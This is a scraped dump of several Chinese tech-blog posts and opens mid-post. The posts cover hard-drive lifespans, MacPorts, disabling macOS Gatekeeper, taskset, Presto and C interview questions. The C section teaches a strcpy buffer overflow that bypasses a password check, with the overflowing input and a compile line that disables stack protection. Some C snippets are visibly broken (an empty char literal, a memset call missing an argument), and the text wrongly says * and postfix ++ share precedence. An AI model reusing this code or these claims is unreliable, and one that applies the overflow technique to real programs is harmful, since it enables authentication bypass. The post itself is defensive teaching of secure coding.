用來測試的硬碟是屬於一般消費型的硬碟，這類的硬碟通常保固期是一年或三年，而這些硬碟有 97.5% 可以使用超過一年，而 90% 超過三年，這個數字可能也跟保固期有關。\n如果是企業級的硬碟，保固期有五年，它的故障率可能就會比較低，但是可能過了保固期之後，一樣會有故障率提高的狀況。\n結論：請備份資料！ 看過這裡的數據，你應該就知道如果你購買一顆新的硬碟，它大概有 90% 的機會可以使用超過三年，如果很幸運的你的硬碟使用超過三年了，那麼你應該就要備份一下你的資料了，因為超過三年之後，年故障率就會明顯上升到 12%。\n這裡的數據是內接式硬碟的測試結果，如果是外接式硬碟可能因為各種條件不同，會有不一樣的壽命。另外因為 Backblaze 的硬碟是 24 小時運轉的，所以如果你的電腦不是全天開機的話，那麼你的硬碟應該可以使用更久。\n由於在第一階段的年故障率有 5.1%，所以如果你的資料很重要，在 18 個月前最好也備份一下比較保險，而使用三年之後的硬碟當然也更需要備份。\nBackblaze 表示他們後續還是會繼續觀測這批硬碟的狀況，所以未來可能會有四年後的數據報告，有些人可能對於固態硬碟的壽命更有興趣，但是現在可能還要等這類的公司擁有一定數量的固態硬碟，然後再經過長時間的測試才能有這種報告。\n參考資料 Extreme Tech ","permalink":"https://blog.gtwang.org/tips/how-long-do-hard-drives-actually-live-for/","summary":"\u003cp\u003e你知道一般的硬碟使用多久之後會壞掉嗎？這裡有專業的分析報告。\u003c/p\u003e\n\u003cp\u003e現在的資訊設備蓬勃發展，各種電腦應體設備隨處可見，而這些電腦設備中通常負責儲存資料的就是硬碟，從個人電腦到大型的超級電腦與雲端服務的伺服器都是這樣，而這些負責儲存資料的硬碟如果損壞了，裡面的資料也就會隨之消失，所以一顆硬碟的壽命有多久就是個很重要的問題。\u003c/p\u003e","title":"硬碟的壽命有多長？（損壞率分析）"},{"content":"這裡介紹如何使用 MacPorts 安裝與管理 Mac OS X 中的開放原始碼（Open Source）軟體。\nMacPorts 是一個用於編譯、安裝與管理 Mac OS X 中各類開放原始碼軟體的工具，其由開放原始碼社群負責主導與開發，透過這個工具可以簡化安裝軟體的編譯工作，並且可以自動處理套件相依性問題，概念上很類似 Linux 的 apt 與 yum，只要下達一些簡單的指令就可以輕鬆安裝各種軟體。\nMac Ports 針對目前最新的三個 Mac OS X 版本（OS X 10.9 Mavericks、OS X 10.8 Mountain Lion 與 Mac OS X 10.7 Lion）維護最新的軟體庫，目前包含了超過一萬七千個軟體，總共分成 87 個類別，這些軟體的列表可以從 MacPorts 的網站中查詢，如果你想要安裝的軟體有在這個列表中，就可以使用 MacPorts 來幫助你快速安裝。\n以下示範如何使用 MacPorts 來安裝與管理軟體。\n安裝 MacPorts 在使用之前，要先把 MacPorts 安裝好。\n首先確認自己的 Mac OS X 中是否有安裝 Xcode 與 Command Line Developer Tools，若沒有請先安裝這兩個工具。\nXcode 可以從系統的 App Store 中直接安裝，如果是安裝 Xcode 4 以後的版本，在安裝完成後要先啓動一次 Xcode 以便簽署 Xcode EULA 同意書，或是執行：\nxcodebuild -license Command Line Developer Tools 可以從 Apple Developer 的網站下載，下載前必須要使用 Apple ID 登入：\n依照自己的系統版本，找到對應的 Command Line Tools 並下載安裝。\n如果你會使用到一些 XWindow 的軟體的話，還要再安裝 X11 的環境，比較舊版的 Mac OS X 中有內建這樣的環境，但是到了 OS X Mountain Lion 之後，Apple 把 X11 的支援整個拿掉了，所以比較建議的方式是自己安裝 XQuartz。\n如果 Xcode 與 Command Line Tools 都裝好之後，接著就可以到 MacPorts 網站下載它的 pkg 安裝檔。下載時，請依照自己的 Mac OS X 版本選擇適當的安裝檔，目前官方提供的安裝檔有支援 Mavericks、Mountain Lion、Lion、Snow Leopard、Leopard 與 Tiger。\n下載完成後，即可直接執行，進行安裝。安裝的過程很簡單，以下是每個步驟的說明。首先是歡迎畫面。\n接著解釋 MacPorts 是什麼。\n軟體許可協議。\n詢問是否同意軟體許可協議，點選同意。\n選擇安裝位置。\n進行安裝確認。\n輸入密碼。\n進行安裝。\n安裝完成。\n在安裝完成後，建議先更新一下，以確保自己系統上的 MacPorts 是最新的：\nsudo port -v selfupdate 完成之後，就可以開始使用 MacPorts 了。\n使用 MacPorts 若要列出所有軟體的清單，則可使用 list：\nport list 輸出為\nAppHack @1.1 aqua/AppHack AppKiDo @0.988 aqua/AppKiDo AquaLess @1.6 aqua/AquaLess ArpSpyX @1.1 aqua/ArpSpyX AssignmentTrackerX @2.0beta3.1 aqua/AssignmentTrackerX 若要搜尋軟體，則使用 search 加上關鍵字搜尋，這樣會從所有的軟體名稱與描述中尋找符合的軟體，例如搜尋 nodejs 則使用：\nport search nodejs 輸出為\nnodejs @0.10.21 (devel, net) Evented I/O for V8 JavaScript nodejs-devel @0.11.8 (devel, net) Evented I/O for V8 JavaScript Found 2 ports. 若要查看某個軟體的資訊，可使用 info，例如查看 nodejs 的資訊則使用：\nport info nodejs 輸出為\nnodejs @0.10.21 (devel, net) Variants: dtrace, python25, python26, [+]python27, [+]ssl Description: Node\u0026#8217;s goal is to provide an easy way to build scalable network programs in JavaScript. Node is similar in design to and influenced by systems like Ruby\u0026#8217;s Event Machine or Python\u0026#8217;s Twisted. Node takes the event model a bit further-it presents the event loop as a language construct instead of as a library. Homepage: http://nodejs.org/ Build Dependencies: pkgconfig Library Dependencies: python27, openssl Conflicts with: nodejs-devel Platforms: darwin License: MIT BSD Maintainers: ciserlohn@macports.org 有些軟體套件會相依於其他套件，若要查看套件的相依性關係，可以使用 deps，例如：\nport deps nodejs 輸出為\nFull Name: nodejs @0.10.21_0+python27+ssl Build Dependencies: pkgconfig Library Dependencies: python27, openssl 若要安裝指定的軟體套件，可使用 install，例如：\nsudo port install nodejs 這樣就會自動下載、編譯與安裝 nodejs 這個套件，在安裝時 MacPorts 也會一併安裝所有相依性套件，所以如果剛好相依性套件很多的話，就需要等一下，不過也因為這些繁雜的過程 MacPorts 都會自動幫你處理，可以讓安裝工作輕鬆很多。\n有些套件會提供一些安裝選項，讓使用者在安裝時可以依照自己的需求調整，若要查詢一個軟體套件所提供的選項，可以使用 variants，例如：\nport variants nmap 輸出為\nnmap has the variants: no_pcre: build without pcre support no_ssl: build without ssl support universal: Build for multiple architectures zenmap: build zenmap in addition to nmap 如果要在安裝時指定一些 variant 安裝選項，則可以使用加號再加上 variant 選項名稱，例如：\nsudo port install nmap +zenmap 而如果要將預設開啟的 variant 選項拿掉，則使用減號再加上 variant 選項名稱，例如：\nsudo port install nmap -zenmap 在 MacPorts 安裝軟體時，會產生一些暫時性的檔案，有時候如果安裝上出了一些問題，這些檔案可能會殘存在硬碟中（例如在下載套件時出問題），如果想要把這些檔案清理乾淨，，可以使用 clean，例如：\nsudo port clean --all vile 這裡的 --all 參數是指把所有與 vile 套件相關的檔案都清除乾淨，如果想要清理特定的檔案，可以換成其他的參數，可用的有 --work、--dist、--archive、--logs，詳細的說明請使用 man port 指令查閱線上手冊。\n若要移除軟體套件，則使用 uninstall，例如：\nsudo port uninstall vile 如果要連同該套件的相依性套件一起移除，則加上 ‑‑follow‑dependencies 參數，例如：\nsudo port uninstall --follow-dependencies vile 這項就會把所有只有被 vile 需要的相依性套件都一起移除，如果一個套件是屬於 vile 的相依性套件，但同時是其他套件的相依性套件，那麼這樣的套件就會被保留下來，所以不用擔心會移除掉不該移除的軟體套件。\n如果在移除套件時，該套件還會被其他的套件使用到，那麼系統就會出現訊息告訴你不應該這麼做，並且取消移除的動作，如果你想要連同那些所有會影響到的套件一起移除，可以使用 --follow-dependents 參數，例如：\nsudo port uninstall --follow-dependents ncurses 這樣就會把所有需要 ncurses 的套件都一次移除掉。如果你不想這樣做，真的只要把 ncurses 這個套件移除就好（不管套件相依性問題），也可以使用 -f 參數，例如：\nsudo port -f uninstall ncurses 這樣就會忽略套件相依性，只移除 ncurses 套件。\n移除 MacPorts 通常在一般的狀況下是不需要移除 MacPorts 的，而且這也是一件比較麻煩的事情，如果真的要移除 MacPorts，首先要移除所有經由 MacPorts 安裝的軟體：\nsudo port -fp uninstall installed 接著再移除 MacPorts 本身，如果要備份設定檔，可以把 ${prefix}/etc 備份下來。\n要將 MacPorts 移除掉，就是把所有 MacPorts 所建立的檔案刪除，例如：\nsudo rm -rf \\ /opt/local \\ /Applications/DarwinPorts \\ /Applications/MacPorts \\ /Library/LaunchDaemons/org.macports.* \\ /Library/Receipts/DarwinPorts*.pkg \\ /Library/Receipts/MacPorts*.pkg \\ /Library/StartupItems/DarwinPortsStartup \\ /Library/Tcl/darwinports1.0 \\ /Library/Tcl/macports1.0 \\ ~/.macports 而這裡的路徑可能會因為每個系統而不同，請「不要」直接用複製貼上的方式執行！如果你在當初安裝時，有更改 prefix 預設的安裝路徑，就要把 /opt/local 換成當初設定的路徑，而 applications_dir（預設為 /Applications/MacPorts） 與 frameworks_dir 也是類似的狀況。\n以上是 MacPorts 的一些入門教學，除了這些之外，其實 MacPorts 還有很多其他有用的指令，若要查詢更詳盡的說明，可以參考 MacPorts Guide 網站。\n","permalink":"https://blog.gtwang.org/mac-os/macports-mac-os-x-open-source/","summary":"\u003cp\u003e這裡介紹如何使用 \u003ca href=\"https://www.macports.org/\"\u003eMacPorts\u003c/a\u003e 安裝與管理 Mac OS X 中的開放原始碼（Open Source）軟體。\u003c/p\u003e\n\u003cp\u003eMacPorts 是一個用於編譯、安裝與管理 Mac OS X 中各類開放原始碼軟體的工具，其由開放原始碼社群負責主導與開發，透過這個工具可以簡化安裝軟體的編譯工作，並且可以自動處理套件相依性問題，概念上很類似 Linux 的 apt 與 yum，只要下達一些簡單的指令就可以輕鬆安裝各種軟體。\u003c/p\u003e","title":"使用 MacPorts 安裝與管理 Mac OS X 中的開放原始碼（Open Source）軟體"},{"content":"這裡說明在 Mac OS X 中如果在下載軟體要安裝時，遇到「無法打開\u0026hellip;，因為它來自未識別的開發者」這個問題該如何解決。\nMac OS X 為了保護使用者的安全，若碰到從網路上下載一些軟體要安裝時，會驗證這些軟體的開發者，如果發現軟體的開發者不在信任的清單內，就會提出警告，如果你的系統設定比較嚴格，它甚至會不讓使用者執行這個程式，而出現這樣的畫面。\n雖然有這個驗證機制會比較安全，但是這個限制有時候就會造成一些困擾。以下說明如何更改 Mac OS X 的設定，讓系統可以讓我們執行從網路上下載的程式。\n首先在「系統偏好設定」中，選擇「安全性與隱私」。\n選擇「一般」籤頁，然後按下左下角的鎖頭圖示，以便更改設定值。\n輸入密碼解鎖。\n接著從「允許從以下來源下載的程式」中，選擇最寬鬆的「任何來源」，接著就可以把這個視窗關閉了，關閉之前他會有確認訊息，警告使用者這麼做會降低系統的安全性，所以開啟這個選項雖然方便，但是自己在使用上也要小心不要隨便下載一些來路不明的檔案，如果你了解這個警告訊息，就可以按下「允許任何來源」。\n這樣之後打開任何程式時，就不會有不能執行的問題了，當然自己也要注意執行的程式是否安全，以免系統受到惡意程式的破壞。\n","permalink":"https://blog.gtwang.org/mac-os/mac-os-x-security-problem/","summary":"\u003cp\u003e這裡說明在 Mac OS X 中如果在下載軟體要安裝時，遇到「無法打開\u0026hellip;，因為它來自未識別的開發者」這個問題該如何解決。\u003c/p\u003e\n\u003cp\u003eMac OS X 為了保護使用者的安全，若碰到從網路上下載一些軟體要安裝時，會驗證這些軟體的開發者，如果發現軟體的開發者不在信任的清單內，就會提出警告，如果你的系統設定比較嚴格，它甚至會不讓使用者執行這個程式，而出現這樣的畫面。\u003c/p\u003e","title":"Mac OS X 解決「無法打開…，因為它來自未識別的開發者」安裝軟體問題"},{"content":"這裡介紹如何在 Linux 中以特定的 CPU 核心執行程式，不要讓系統自動排程。\n現在不管是伺服器或是一般個人電腦的 CPU 大部分都是多核心的架構，而各種應用軟體、編譯器與作業系統也受到這個趨勢的影響，也都會有針對多核心處理器做的最佳化設計。\n通常在多核心的作業系統中常使用處理器的親和性（processor affinity，亦稱 CPU pinning）來處理需要高效能計算的應用，這個技術是屬於作業系統的一個特殊功能，它可以讓行程在特定的 CPU 核心中持續執行，不受作業系統排程的干擾。\n將行程綁定在特定的 CPU 核心上有許多優點，例如一個 cache bound 的程式跟其他比較耗費 CPU 計算的程式一起執行時，將程式綁定在特定的 CPU 核心可以減少 cache miss 的狀況。另外在兩個行程頻繁的藉由 shared memory 進行溝通時，將兩個行程都綁定在同一個 NUMA 節點中也可以增進執行效率。\n這裡我們會以 Linux 系統為例，介紹如何在 Linux 系統中將一般的程式綁定在一個選定的處理器核心中執行。\n在 Linux 系統中若要將特定的處理器核心指定給一個程式或行程使用，可以使用 taskset，透過這個指令使用者就可以設定或取得行程的處理器親和性。\n安裝 taskset 在 Linux 中 taskset 是屬於 util-linux 套件中的一部分，但是大部分的 Linux 發行版預設都會安裝，所以通常不需要自己動手裝。如果你的系統沒有安裝這個套件，可以按照下面的方式安裝。\nDebian 系列的 Linux（Ubuntu、Linux Mint 等）可用 apt 安裝：\nsudo apt-get install util-linux Red Hat 系列的 Linux（Fedora、CentOS 等），則可使用 yum：\nsudo yum install util-linux 查看行程（Process）的處理器親和性（CPU affinity） 若要查看指定行程的處理器親和性，可以使用 taskset 加上 -p 參數再加上行程的 ID（process ID）：\ntaskset -p PID 其中 PID 就是行程的 ID，例如：\ntaskset -p 2915 輸出為：\npid 2915's current affinity mask: ff 輸出的 affinity mask 是一個十六進位的 bitmask，將其轉換為二進位格式之後，若位元值為 1 則代表該行程可以在這個位元對應的 CPU 核心中執行，若位元值為 0 則代表該行程不允許在這個位元對應的 CPU 核心中執行。\n在上面這個例子中十六進位的 ff 轉成二進位的格式會是 11111111，這八個 1 分別代表該行程可以在第 0 到第 7 個 CPU 核心中執行，最低（最右邊）的位元代表第 0 個 CPU 核心，次低的代表第 1 個，以次類推。\n如果 affinity mask 是一個 0x11，則代表可在第 0 個與第 4 個 CPU 核心執行。\n如果感覺以 bitmask 表示法不容易理解，可以加上 -c 參數，讓 taskset 直接輸出 CPU 的核心列表：\ntaskset -cp 2915 輸出為：\npid 2915's current affinity list: 0-7 將行程固定在特定的 CPU 核心中執行 taskset 亦可設定行程的 core mask，將指定的行程固定在特定的 CPU 核心中執行：\ntaskset -p COREMASK PID 其中 COREMASK 就是指定的十六進位 core mask，PID 則為行程的 ID。除此之外，亦可使用 -c 參數以 CPU 的核心列表來指定：\ntaskset -cp CORELIST PID 其中 CORELIST 為 CPU 核心列表，以逗點分個各個核心的編號或是使用連字號指定連續的區間，例如：0,2,5,7-10。\n例如若要將一個行程固定在第 0 個與第 4 個 CPU 核心，則使用：\ntaskset -p 0x11 9030 輸出為：\npid 9030's current affinity mask: ff pid 9030's new affinity mask: 11 亦可使用 CPU 核心列表的方式：\ntaskset -cp 0,4 9030 兩種方式都是一樣的。\n在 Linux 中的使用者必須有開啟 CAP_SYS_NICE 這個權限，才能更動行程的處理器親和性，而若只是要查看處理器親和性的設定，則沒有限制（任何使用者皆可查詢）。\n以特定的 CPU 核心執行程式 除了更改現有行程的處理器親和性，使用者也可以使用 taskset 指定 CPU 核心來執行一個新的程式：\ntaskset COREMASK EXECUTABLE 其中 EXECUTABLE 是要執行的程式。 例如若要以第 0 個 CPU 核心執行 vlc 則使用：\ntaskset 0x1 vlc 將 CPU 核心限定給特定的程式使用 taskset 可以指定行程所使用的 CPU 核心，但是不代表其他的行程不會使用這些被指定的 CPU 核心，如果你想讓其他的行程干擾你要執行的程式，讓指定的核心只能被自己設定的行程使用，可以使用 isolcpus 這個 Linux 核心（kernel）參數，這個參數可以讓特定的 CPU 核心在開機時就被保留下來。\n設定的方式有兩種，一個是在開機時使用 boot loader 所提供的自訂開機參數功能，手動加入 isolcpus=cpu_id 參數，或是直接加在 GRUB 的設定檔中，這樣 Linux 的排程器（scheduler）在預設的狀況下就不會將任何一般行程放在這個被保留的 CPU 核心中執行，只有那些被 taskset 特別指定的行程可以使用這些 CPU 核心。\n舉例來說，如果想讓第 0 個與第 1 個 CPU 核心都被保留下來，則在開機時加入\nisolcpus=0,1 這個 Linux 核心參數，然後再使用 taskset 指令將這兩個 CPU 核心指定給要執行的程式使用即可。\n參考資料 Xmodulo ","permalink":"https://blog.gtwang.org/linux/run-program-process-specific-cpu-cores-linux/","summary":"\u003cp\u003e這裡介紹如何在 Linux 中以特定的 CPU 核心執行程式，不要讓系統自動排程。\u003c/p\u003e\n\u003cp\u003e現在不管是伺服器或是一般個人電腦的 CPU 大部分都是多核心的架構，而各種應用軟體、編譯器與作業系統也受到這個趨勢的影響，也都會有針對多核心處理器做的最佳化設計。\u003c/p\u003e","title":"在 Linux 中以特定的 CPU 核心執行程式"},{"content":"Presto 是 Facebook 所使用的互動式資料查詢系統，支援 petabyte 等級的資料量，目前以開放原始碼的方式釋出。\nFacebook 是一家資料導向的公司，資料的處理與分析是建立這家公司與其超過十億個使用者的核心技術，而其擁有的資料量高達 300 PB（petabyte），這些資料可用於各種的應用領域，其所使用的處理方式從傳統的批次處理、graph analytics、機器學習（machine learning）到即時的互動式分析都有。\nFacebook 的資料科學家與工程師常常都要分析這些資料，研究如何改看他們的產品，對於他們而言，如何在這麼大量的資料中快速撈出他們想要的資料會是一個大問題，因為 Facebook 的資料量實在太大了，若以一般的資料庫來處理，根本無法負荷。\n一開始 Facebook 的資料中心是使用幾台大型的 Hadoop/HDFS 的叢集電腦來處理這些資料，Hadoop 的 MapReduce 與 Hive 都是特別為大量資料處理而設計的，但是當資料量成長到 petabyte 等級的時候，又加上更多的新的使用需求，這樣的系統漸漸不敷使用，Facebook 需要一個互動式的資料系統，而且查詢的反應速度更要夠快才行。\n在 2012 年秋天，Facebook 成立了 Data Infrastructure 這個團隊，其目的在於解決這些資料處理上的問題，他們審視過市面上各種的解決方案，不是過於新穎就是不太符合它們現形的需求，所以他們決定自行發展一個快速互動式的資料查詢系統，並命名為 Presto。\n這裡我們將簡單介紹 Presto 的基本架構，並說明它目前發展的狀況以及未來的規劃方向。\n架構（Architecture） Presto 是一個專門為互動式的即時分析操作所設計的 SQL 查詢引擎，它支援標準的 ANSI SQL 指令，包含複雜的 query、aggregations、joins 與 window 函數。\n下面這張圖是 Presto 簡略的系統架構，client 傳送 SQL 指令給 Presto 的 coordinator，而 coordinator 負責解析（parse）、分析（analyze）與規劃查詢動作的執行，執行管線（pipeline）中的 scheduler 負責將查詢的工作分派給最接近資料的節點，並監控執行的情況。隨後 client 會從階層式架構的 worker 中取得資料。\nPresto 的執行模式跟 Hive 與 MapReduce 的不同，Hive 是將查詢轉換為多個層次的 MapRecuce tasks，然後一個接著一個執行，每個 task 從硬碟讀取資料然後又馬上將輸出寫回硬碟，而 Presto 則沒有使用 MapReduce，它是使用自己設計的 SQL 查詢引擎，除了改善排程機制，所有的處理流程都是在記憶體中進行，並且透過管線（pipeline）與網路串接不同的處理步驟，這種方式可以避免不必要的 I/O 與延遲（latency），而藉由管線串接的執行流程可以讓所有的步驟一起執行，透過資料流的方式，讓資料處理起來就像工廠的生產線一樣順暢，減少等待資料的時間。\nPresto 系統是使用 Java 來實作的，原因在於使用 Java 語言來開發軟體的速度很快，而且也很容易跟 Facebook 中其他以 Java 開發的元件結合。Presto 會將查詢動作的某一部份動態編譯為位元碼（byte code），這樣可以讓 JVM 做一些最佳化的動作。另外透過精心設計的記憶體與資料的儲存結構，Presto 可以避免一般 Java 程式會碰到的記憶體配置與回收問題。（隨後我們會介紹一些以 Java 撰寫高效能程式的技巧，以及一些 Presto 值得我們學習的地方）\n可擴充性是 Presto 另一個重點，在這個專案發展初期他們考慮到未來的資料可能除了 HDFS 之外，也可能會被儲存在其他各式各樣的系統中，例如 HBase 或是 Facebook News Feed 等，所以在設計上 Presto 也針對了這樣的需求，將儲存系統抽象化與模組化，使用儲存插件（storage plugin）的方式來處理，這些插件在 Presto 架構中稱為 connector，每種儲存系統會實作對應的 connector，提供基本的操作介面，包含取得資料的資訊（metadata）、位置與資料的內容，而 Presto 也提供了許多常見儲存系統的 connectors，例如 Hive/HDFS、HBase、Scribe等，讓使用者可以直接使用。\n目前發展狀況 上面有提到 Presto 專案是在 2012 年秋季才開始建立的，而在 2013 年年初開始第一次的運行使用，隨後馬上拓展到整個 Facebook，現在 Presto 已經佈署至全球各地上千個節點，成為 Facebook 公司最主要的互動式資料系統，供數千位工程師來使用，每天處理超過三萬個查詢工作，而一天內所處理的資料量高達 1 PB。\n據 Facebook 的測試，Presto 在 CPU 的效率（efficiency）與延遲（latency）上的表現比起 Hive/MapReduce 要好上 10 倍，而目前它也支援大部分的 ANSI SQL 指令，剩下一些小問題待解決（例如 join tables 的大小限制等）。另外這個系統目前也無法將查詢結果寫回 table，只能直接傳送給 client。\n未來規劃 Facebook 目前也正在積極開發 Presto 的各種功能與改善其效能，在未來幾個月中會處理 SQL 查詢上尚未解決的問題，另外也會開發查詢加速器，以新的資料格式讓進行查詢工作時免除不必要的資料轉換動作，另外也會開發高效能的 HBase connector。\n開放原始碼 2013 年六月的 Analytics @ WebScale 研討會，Facebook 第一次發表 Presto，獲得廣大的回響，在過去幾個月中，Facebook 釋出其原始碼與二進位版本給一些商業公司進行測試（如 AirBnB 與 Dropbox），都獲得不錯的回應。\n而現在 Facebook 將 Presto 的原始碼完全開放，任何人都可以從 Presto 的網站下載其原始程式碼與說明文件，Facebook 開放其原始碼的目的主要試想藉著全世界開發者的力量來一起開發 Presto，如果你有興趣，也可以去研究看看。\n參考資料 Facebook ","permalink":"https://blog.gtwang.org/funny/facebook-presto-open-source/","summary":"\u003cp\u003e\u003ca href=\"https://prestodb.io/\"\u003ePresto\u003c/a\u003e 是 Facebook 所使用的互動式資料查詢系統，支援 petabyte 等級的資料量，目前以開放原始碼的方式釋出。\u003c/p\u003e\n\u003cp\u003eFacebook 是一家資料導向的公司，資料的處理與分析是建立這家公司與其超過十億個使用者的核心技術，而其擁有的資料量高達 300 PB（petabyte），這些資料可用於各種的應用領域，其所使用的處理方式從傳統的批次處理、\u003ca href=\"https://www.facebook.com/notes/10158791582247200/\"\u003egraph analytics\u003c/a\u003e、機器學習（machine learning）到即時的互動式分析都有。\u003c/p\u003e","title":"Presto：Facebook 開放原始碼、互動式資料查詢系統，支援 petabyte 等級的資料"},{"content":"這裡整理一些 C 程式語言相關的面試問題與解答，除了可以讓你增強 C 程式語言的能力，對於面試可能也有幫助。\ngets() 函數 下面這段程式碼中有一個問題，你能找出來嗎？\n#include\u0026lt;stdio.h\u0026gt; int main(void) { char buff[10]; memset(buff, 0, sizeof(buff)); gets(buff); printf(\u0026#34;\\n The buffer entered is [%s]\\n\u0026#34;, buff); return 0; } 答案\n這裡的問題出在 gets() 函數的使用，這個函數會從 stdin 中讀取字串，但是卻不會檢查緩衝區的大小，這有可能會造成緩衝區溢位（buffer overflow）的問題，改用標準的 fgets() 函數會是個比較好的方式。\nstrcpy() 函數 下面是一段用於密碼驗證的程式碼，請問他是否有漏洞？\n#include\u0026lt;stdio.h\u0026gt; int main(int argc, char *argv[]) { int flag = 0; char passwd[10]; memset(passwd, 0, sizeof(passwd)); strcpy(passwd, argv[1]); if(0 == strcmp(\u0026#34;LinuxGeek\u0026#34;, passwd)) { flag = 1; } if(flag) { printf(\u0026#34;Password cracked \\n\u0026#34;); } else { printf(\u0026#34;Incorrect passwd \\n\u0026#34;); } return 0; } 答案\n有！這段驗證密碼的程式可以透過 strcpy() 函數的漏洞來破解，由於這個函數把使用者輸入的密碼複製到 passwd 這個變數中，但是卻沒有檢查使用者所提供的密碼長度是否可以被 passwd 這個變數所容納，所以當使用者提供一個長度超過緩衝區的大小的任意字串時，就會造成緩衝區溢位，並將 flag 這個變數所在的記憶體位址覆寫（overwrite），將原本的 0 改為其他的值，接著在下面的 if 判斷式中就會判斷出 flag 是一個非零的值（也就是會得到 true），這樣這段檢查密碼的機制就被破解了。\n我們將這段程式碼編譯成 chkpwd，則這樣就可以破解它了：\n./chkpwd aaaaaaaaaaaaa 輸出為\nPassword cracked 所以只要輸入的字串夠長，無論密碼是否正確，都可以通過密碼的檢查。如果要避免這樣的問題，可以改用 strncpy() 函數。\n由於現在的編譯器比較聰明，會自動偵測 stack smashing 的可能性，讓這種問題發生的機率降低，所以如果想要自己測試這段程式碼，可能要把編譯器的這個功能關閉才可以進行測試，例如使用 gcc 編譯器就要加上 -fno-stack-protector 參數，這樣才能重現這個狀況：\ngcc -fno-stack-protector -o chkpwd chkpwd.c main() 函數的傳回型態 下面這段程式碼是否可以通過編譯？如果可以，則是否有什麼問題存在？\n#include\u0026lt;stdio.h\u0026gt; void main(void) { char *ptr = (char*)malloc(10); if(NULL == ptr) { printf(\u0026#34;\\n Malloc failed \\n\u0026#34;); return; } else { // Do some processing free(ptr); } return; } 答案\n這段程式碼可以通過編譯，但是通常會有一些警告訊息出現，原因在於 main() 函數的傳回值應該要是 int 而不能是 void，這個值會被整個程式當成執行結果傳回給上層，如果這個程式是指令稿（script）的一部份，而在指令稿中要判斷這個程式的執行是否有問題，就是依據這個傳回值來判斷的。\n記憶體洩漏（Memory Leak） 下面這段程式碼是否會造成記憶體洩漏（Memory Leak）？\n#include\u0026lt;stdio.h\u0026gt; void main(void) { char *ptr = (char*)malloc(10); if(NULL == ptr) { printf(\u0026#34;\\n Malloc failed \\n\u0026#34;); return; } else { // Do some processing } return; } 答案\n這段程式碼並不會造成記憶體洩漏（Memory Leak）的問題。縱使它並沒有把動態配置給 ptr 的記憶體釋放掉，但是因為這段程式碼是放在程式的結尾處，在程式結束的時候，所有程式所使用的記憶體都會被系統一次收回，所以即便程式本身沒有收回記憶體，也不會造成記憶體洩漏的問題。\n但是如果這段程式碼不是放在程式的結尾處，或是放在一個迴圈中，那就會有記憶體洩漏的問題了。如果你對於記憶體的釋放有興趣，可以參考 C 語言中關於記憶體釋放的議題。\nfree() 函數 在下面這段程式碼中，當使用者輸入「freeze」時，程式就會出現 segmentation fault（當掉），而如果輸入「zebra」則正常，你能解釋為什麼嗎？\n#include\u0026lt;stdio.h\u0026gt; int main(int argc, char *argv[]) { char *ptr = (char*)malloc(10); if(NULL == ptr) { printf(\u0026#34;\\n Malloc failed \\n\u0026#34;); return -1; } else if(argc == 1) { printf(\u0026#34;\\n Usage \\n\u0026#34;); } else { memset(ptr, 0, 10); strncpy(ptr, argv[1], 9); while(*ptr != \u0026#39;z\u0026#39;) { if(*ptr == \u0026#39;\u0026#39;) break; else ptr++; } if(*ptr == \u0026#39;z\u0026#39;) { printf(\u0026#34;\\n String contains \u0026#39;z\u0026#39;\\n\u0026#34;); // Do some more processing } free(ptr); } return 0; } 答案 這裡的問題在於迴圈中有更動 ptr 這個指標所儲存的位址，所以在最後呼叫 free(ptr) 時，因為指定的記憶體位址錯誤造成程式當掉，而如果使用者輸入「zebra」時，因為迴圈內的程式並沒有執行，所以 ptr 所儲存的位址沒有變動，也就不會出問題。\natexit() 與 _exit() 函數 在下面的程式碼中，atexit() 函數並不會被呼叫，你能解釋為什麼嗎？\n#include\u0026lt;stdio.h\u0026gt; void func(void) { printf(\u0026#34;\\n Cleanup function called \\n\u0026#34;); return; } int main(void) { int i = 0; atexit(func); for(;i\u0026lt;0xffffff;i++); _exit(0); } 答案\n這裡的問題在於 _exit() 函數不會呼叫清理函數（clean-up functions，例如 atexit()），如果要讓 atexit() 正常被呼叫，則要使用 exit() 或是 return。\nvoid* 與 C 語言的結構 你是否可以設計一個容許接受任何型態參數的函數，並且傳回一個整數？另外這個函數是否有辦法讓多個參數一次傳入？\n答案\n一個容許接受任何型態參數的函數可以這樣設計：\nint func(void *ptr) 如果想要一次傳入多個參數，可以將所有要傳入的參數放在一個 structure object 中，再將這個 structure object 傳入此函數。\n* 與 ++ 運算子 下面這段程式執行之後的輸出為何？為什麼？\n#include\u0026lt;stdio.h\u0026gt; int main(void) { char *ptr = \u0026#34;Linux\u0026#34;; printf(\u0026#34;[%c]\\n\u0026#34;,*ptr++); printf(\u0026#34;[%c]\\n\u0026#34;,*ptr); return 0; } 答案\n這段程式的執行結果如下：\n[L] [i] 由於 * 與 ++ 這兩個運算子的優先順序是一樣的，所以當放在 *ptr++ 這個運算式中時，會以右邊的運算子優先處理，也就是 ++ 運算子會先傳回 ptr 的位址，再由 * 取值，而得到 L，接著因為 ++ 會把 ptr 所儲存的位址加 1，所以下一個 printf() 所輸出的字元就是 i。\n更改唯讀的記憶體區段 下面這段程式碼在執行時會出現 segmentation fault（當掉），你能說明為什麼嗎？\n#include\u0026lt;stdio.h\u0026gt; int main(void) { char *ptr = \u0026#34;Linux\u0026#34;; *ptr = \u0026#39;T\u0026#39;; printf(\u0026#34;\\n [%s] \\n\u0026#34;, ptr); return 0; } 答案\n因為在 *ptr = 'T' 運算式中嘗試更改 'Linux' 這個字串的第一個字元，而這個字串是儲存在唯讀的記憶體區段（亦即 code segment），這樣的動作是不合法的，會造成程式出現 segmentation fault 或 crash。\n更改自己名稱的行程（Process） 你可以寫一個在執行時更改自己名稱的程式嗎？\n答案\n可以，下面的程式碼就可以達到這樣的功能：\n#include\u0026lt;stdio.h\u0026gt; int main(int argc, char *argv[]) { int i = 0; char buff[100]; memset(buff,,sizeof(buff)); strncpy(buff, argv[0], sizeof(buff)); memset(argv[0], 0, strlen(buff)); strncpy(argv[0], \u0026#34;NewName\u0026#34;, 7); // Simulate a wait. Check the process // name at this point. for(;i\u0026lt;0xffffffff;i++); return 0; } 傳回區域變數的記憶體位址 下面這段程式碼是否有問題？如果有問題，該如何修正？\n#include\u0026lt;stdio.h\u0026gt; int* inc(int val) { int a = val; a++; return \u0026amp;a; } int main(void) { int a = 10; int *val = inc(a); printf(\u0026#34;\\n Incremented value is equal to [%d] \\n\u0026#34;, *val); return 0; } 答案\n這段程式碼可能可以正常執行，但是在 inc() 函數中有一個嚴重的漏洞，這個函數傳回一個區域變數 a 的記憶體位址，由於區域變數的生命週期只限於 inc() 